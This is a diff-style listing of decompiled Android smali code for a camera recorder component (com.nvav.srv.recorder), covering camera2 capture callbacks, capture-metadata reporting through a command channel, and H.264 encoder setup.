sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->caem:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 234
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->caft:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 235
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$500(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception p1
.line 238
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:cond_0
:goto_0
return-void
.end method
.method public onReady(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 2
.line 319
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Session ready."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 320
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object p1
filled-new-array {p1}, [Ljava/lang/Object;
move-result-object p1
const-string v0, "time %d"
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
const-string v0, "CameraCaptureSession re"
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
return-void
.end method

View File

@@ -0,0 +1,256 @@
.class Lcom/nvav/srv/recorder/CameraHUAWEIn$4;
.super Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;
.source "CameraHUAWEIn.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraHUAWEIn;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field FrameNumber:J
.field lat:D
.field lon:D
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
.field time_out_param:J
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
.locals 2
.line 328
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$CaptureCallback;-><init>()V
.line 329
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide v0
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->time_out_param:J
const-wide/16 v0, 0x0
.line 330
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->lat:D
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->lon:D
const-wide/16 v0, 0x0
.line 331
iput-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->FrameNumber:J
return-void
.end method
# virtual methods
.method public onCaptureCompleted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/TotalCaptureResult;)V
.locals 7
.line 336
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide p1
iget-wide v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->time_out_param:J
sub-long/2addr p1, v0
const-wide/16 v0, 0xc8
cmp-long p1, p1, v0
if-lez p1, :cond_0
.line 337
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->lat:D
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
move-result-object v0
iget-wide p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->lon:D
invoke-static {p1, p2}, Ljava/lang/Double;->valueOf(D)Ljava/lang/Double;
move-result-object v1
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureResult$Key;
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v2
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureResult$Key;
.line 338
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object p1
check-cast p1, Ljava/lang/Long;
invoke-virtual {p1}, Ljava/lang/Long;->longValue()J
move-result-wide p1
const-wide/32 v3, 0x3b9aca00
div-long/2addr v3, p1
invoke-static {v3, v4}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
move-result-object v3
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_APERTURE:Landroid/hardware/camera2/CaptureResult$Key;
.line 339
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v4
sget-object p1, Landroid/hardware/camera2/CaptureResult;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureResult$Key;
.line 340
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v5
sget-object p1, Landroid/hardware/camera2/CaptureResult;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureResult$Key;
.line 341
invoke-virtual {p3, p1}, Landroid/hardware/camera2/TotalCaptureResult;->get(Landroid/hardware/camera2/CaptureResult$Key;)Ljava/lang/Object;
move-result-object v6
filled-new-array/range {v0 .. v6}, [Ljava/lang/Object;
move-result-object p1
.line 337
const-string p2, "%f;%f;%d;%d;%.2f;%f;%d"
invoke-static {p2, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
move-result-object p1
.line 342
iget-object p2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p2, p2, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {p1}, Ljava/lang/String;->length()I
move-result p3
add-int/lit8 p3, p3, 0x1
invoke-static {p3}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
move-result-object p3
const/16 v0, 0x4d
invoke-virtual {p3, v0}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
move-result-object p3
invoke-virtual {p1}, Ljava/lang/String;->getBytes()[B
move-result-object p1
invoke-virtual {p3, p1}, Ljava/nio/ByteBuffer;->put([B)Ljava/nio/ByteBuffer;
move-result-object p1
invoke-virtual {p1}, Ljava/nio/ByteBuffer;->array()[B
move-result-object p1
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/Comand;->WriteOut([B)I
.line 343
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
move-result-wide p1
iput-wide p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->time_out_param:J
:cond_0
return-void
.end method
.method public onCaptureFailed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureFailure;)V
.locals 0
.line 348
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string p2, "result=Capture failed."
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onCaptureProgressed(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;Landroid/hardware/camera2/CaptureResult;)V
.locals 0
return-void
.end method
.method public onCaptureSequenceAborted(Landroid/hardware/camera2/CameraCaptureSession;I)V
.locals 0
.line 357
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string p2, "result=Capture aborted sequence."
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onCaptureSequenceCompleted(Landroid/hardware/camera2/CameraCaptureSession;IJ)V
.locals 0
.line 361
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string p2, "result=Capture completed sequence."
invoke-virtual {p1, p2}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onCaptureStarted(Landroid/hardware/camera2/CameraCaptureSession;Landroid/hardware/camera2/CaptureRequest;JJ)V
.locals 0
.line 366
iput-wide p5, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$4;->FrameNumber:J
return-void
.end method

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,510 @@
.class Lcom/nvav/srv/recorder/CameraRecord$1;
.super Landroid/hardware/camera2/CameraDevice$StateCallback;
.source "CameraRecord.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/nvav/srv/recorder/CameraRecord;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraRecord;
# direct methods
.method constructor <init>(Lcom/nvav/srv/recorder/CameraRecord;)V
.locals 0
.line 54
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
invoke-direct {p0}, Landroid/hardware/camera2/CameraDevice$StateCallback;-><init>()V
return-void
.end method
# virtual methods
.method public onClosed(Landroid/hardware/camera2/CameraDevice;)V
.locals 2
const/4 p1, 0x0
.line 89
:try_start_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
if-eqz v0, :cond_0
.line 90
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0}, Landroid/media/MediaCodec;->stop()V
.line 91
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0}, Landroid/media/MediaCodec;->release()V
.line 92
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraRecord;->access$000(Lcom/nvav/srv/recorder/CameraRecord;)Landroid/view/Surface;
move-result-object v0
if-eqz v0, :cond_0
.line 93
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraRecord;->access$000(Lcom/nvav/srv/recorder/CameraRecord;)Landroid/view/Surface;
move-result-object v0
invoke-virtual {v0}, Landroid/view/Surface;->release()V
.line 94
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraRecord;->access$002(Lcom/nvav/srv/recorder/CameraRecord;Landroid/view/Surface;)Landroid/view/Surface;
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception v0
.line 98
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 101
:cond_0
:goto_0
:try_start_1
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mOutputSurfaces:Ljava/util/List;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraRecord;->access$000(Lcom/nvav/srv/recorder/CameraRecord;)Landroid/view/Surface;
move-result-object v1
invoke-interface {v0, v1}, Ljava/util/List;->remove(Ljava/lang/Object;)Z
.line 102
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mOutputSurfaces:Ljava/util/List;
invoke-interface {v0}, Ljava/util/List;->clear()V
.line 103
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraRecord;->mOutputSurfaces:Ljava/util/List;
:try_end_1
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
goto :goto_1
:catch_1
move-exception v0
.line 105
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 107
:goto_1
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
.line 108
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
return-void
.end method
.method public onDisconnected(Landroid/hardware/camera2/CameraDevice;)V
.locals 0
.line 112
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
invoke-virtual {p1}, Landroid/hardware/camera2/CameraDevice;->close()V
return-void
.end method
.method public onError(Landroid/hardware/camera2/CameraDevice;I)V
.locals 0
return-void
.end method
.method public onOpened(Landroid/hardware/camera2/CameraDevice;)V
.locals 7
.line 58
const-string v0, "video/avc"
:try_start_0
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iput-object p1, v1, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
.line 59
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mCameraManager:Landroid/hardware/camera2/CameraManager;
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
invoke-virtual {v2}, Landroid/hardware/camera2/CameraDevice;->getId()Ljava/lang/String;
move-result-object v2
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CameraManager;->getCameraCharacteristics(Ljava/lang/String;)Landroid/hardware/camera2/CameraCharacteristics;
move-result-object v1
iput-object v1, p1, Lcom/nvav/srv/recorder/CameraRecord;->properties:Landroid/hardware/camera2/CameraCharacteristics;
.line 61
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v1, p1, Lcom/nvav/srv/recorder/CameraRecord;->properties:Landroid/hardware/camera2/CameraCharacteristics;
sget-object v2, Landroid/hardware/camera2/CameraCharacteristics;->SENSOR_INFO_SENSITIVITY_RANGE:Landroid/hardware/camera2/CameraCharacteristics$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Landroid/util/Range;
invoke-virtual {v1}, Landroid/util/Range;->getLower()Ljava/lang/Comparable;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
iput v1, p1, Lcom/nvav/srv/recorder/CameraRecord;->MinISO:I
.line 62
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v1, p1, Lcom/nvav/srv/recorder/CameraRecord;->properties:Landroid/hardware/camera2/CameraCharacteristics;
sget-object v2, Landroid/hardware/camera2/CameraCharacteristics;->SENSOR_INFO_SENSITIVITY_RANGE:Landroid/hardware/camera2/CameraCharacteristics$Key;
invoke-virtual {v1, v2}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
move-result-object v1
check-cast v1, Landroid/util/Range;
invoke-virtual {v1}, Landroid/util/Range;->getUpper()Ljava/lang/Comparable;
move-result-object v1
check-cast v1, Ljava/lang/Integer;
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
iput v1, p1, Lcom/nvav/srv/recorder/CameraRecord;->MaxISO:I
.line 63
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->properties:Landroid/hardware/camera2/CameraCharacteristics;
sget-object v1, Landroid/hardware/camera2/CameraCharacteristics;->SCALER_STREAM_CONFIGURATION_MAP:Landroid/hardware/camera2/CameraCharacteristics$Key;
invoke-virtual {p1, v1}, Landroid/hardware/camera2/CameraCharacteristics;->get(Landroid/hardware/camera2/CameraCharacteristics$Key;)Ljava/lang/Object;
move-result-object p1
check-cast p1, Landroid/hardware/camera2/params/StreamConfigurationMap;
.line 64
const-class v1, Landroid/media/MediaCodec;
invoke-virtual {p1, v1}, Landroid/hardware/camera2/params/StreamConfigurationMap;->getOutputSizes(Ljava/lang/Class;)[Landroid/util/Size;
move-result-object p1
.line 65
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
const/4 v2, 0x0
iput-object v2, v1, Lcom/nvav/srv/recorder/CameraRecord;->MaxSize:Landroid/util/Size;
.line 66
array-length v1, p1
const/4 v3, 0x0
:goto_0
if-ge v3, v1, :cond_1
aget-object v4, p1, v3
.line 67
invoke-virtual {v4}, Landroid/util/Size;->getWidth()I
move-result v5
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraRecord;->SizeImage:Landroid/util/Size;
invoke-virtual {v6}, Landroid/util/Size;->getWidth()I
move-result v6
if-ne v5, v6, :cond_0
invoke-virtual {v4}, Landroid/util/Size;->getHeight()I
move-result v5
iget-object v6, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v6, v6, Lcom/nvav/srv/recorder/CameraRecord;->SizeImage:Landroid/util/Size;
invoke-virtual {v6}, Landroid/util/Size;->getHeight()I
move-result v6
if-ne v5, v6, :cond_0
iget-object v5, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iput-object v4, v5, Lcom/nvav/srv/recorder/CameraRecord;->MaxSize:Landroid/util/Size;
:cond_0
add-int/lit8 v3, v3, 0x1
goto :goto_0
.line 69
:cond_1
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->MaxSize:Landroid/util/Size;
if-nez v1, :cond_2
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
const/16 v3, 0x8
aget-object p1, p1, v3
iput-object p1, v1, Lcom/nvav/srv/recorder/CameraRecord;->MaxSize:Landroid/util/Size;
.line 70
:cond_2
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->MaxSize:Landroid/util/Size;
invoke-virtual {p1}, Landroid/util/Size;->getWidth()I
move-result p1
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->MaxSize:Landroid/util/Size;
invoke-virtual {v1}, Landroid/util/Size;->getHeight()I
move-result v1
invoke-static {v0, p1, v1}, Landroid/media/MediaFormat;->createVideoFormat(Ljava/lang/String;II)Landroid/media/MediaFormat;
move-result-object p1
.line 71
const-string v1, "color-format"
const v3, 0x7f000789
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 72
const-string v1, "bitrate"
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget v3, v3, Lcom/nvav/srv/recorder/CameraRecord;->BitRate:I
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 73
const-string v1, "frame-rate"
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget v3, v3, Lcom/nvav/srv/recorder/CameraRecord;->FrameRate:I
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 74
const-string v1, "i-frame-interval"
const/4 v3, 0x1
invoke-virtual {p1, v1, v3}, Landroid/media/MediaFormat;->setInteger(Ljava/lang/String;I)V
.line 75
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
invoke-static {v0}, Landroid/media/MediaCodec;->createEncoderByType(Ljava/lang/String;)Landroid/media/MediaCodec;
move-result-object v0
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
.line 76
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0, p1, v2, v2, v3}, Landroid/media/MediaCodec;->configure(Landroid/media/MediaFormat;Landroid/view/Surface;Landroid/media/MediaCrypto;I)V
.line 77
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraRecord;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {v0}, Landroid/media/MediaCodec;->createInputSurface()Landroid/view/Surface;
move-result-object v0
invoke-static {p1, v0}, Lcom/nvav/srv/recorder/CameraRecord;->access$002(Lcom/nvav/srv/recorder/CameraRecord;Landroid/view/Surface;)Landroid/view/Surface;
.line 78
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mOutputSurfaces:Ljava/util/List;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraRecord;->access$000(Lcom/nvav/srv/recorder/CameraRecord;)Landroid/view/Surface;
move-result-object v0
invoke-interface {p1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
.line 79
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->hiSpeed:I
if-lez p1, :cond_3
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mOutputSurfaces:Ljava/util/List;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraRecord;->mHandler:Landroid/os/Handler;
invoke-virtual {p1, v0, v1, v2}, Landroid/hardware/camera2/CameraDevice;->createConstrainedHighSpeedCaptureSession(Ljava/util/List;Landroid/hardware/camera2/CameraCaptureSession$StateCallback;Landroid/os/Handler;)V
goto :goto_1
.line 80
:cond_3
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraRecord;->mCamera:Landroid/hardware/camera2/CameraDevice;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraRecord;->mOutputSurfaces:Ljava/util/List;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraRecord;->sessionListener:Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraRecord$1;->this$0:Lcom/nvav/srv/recorder/CameraRecord;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraRecord;->mHandler:Landroid/os/Handler;
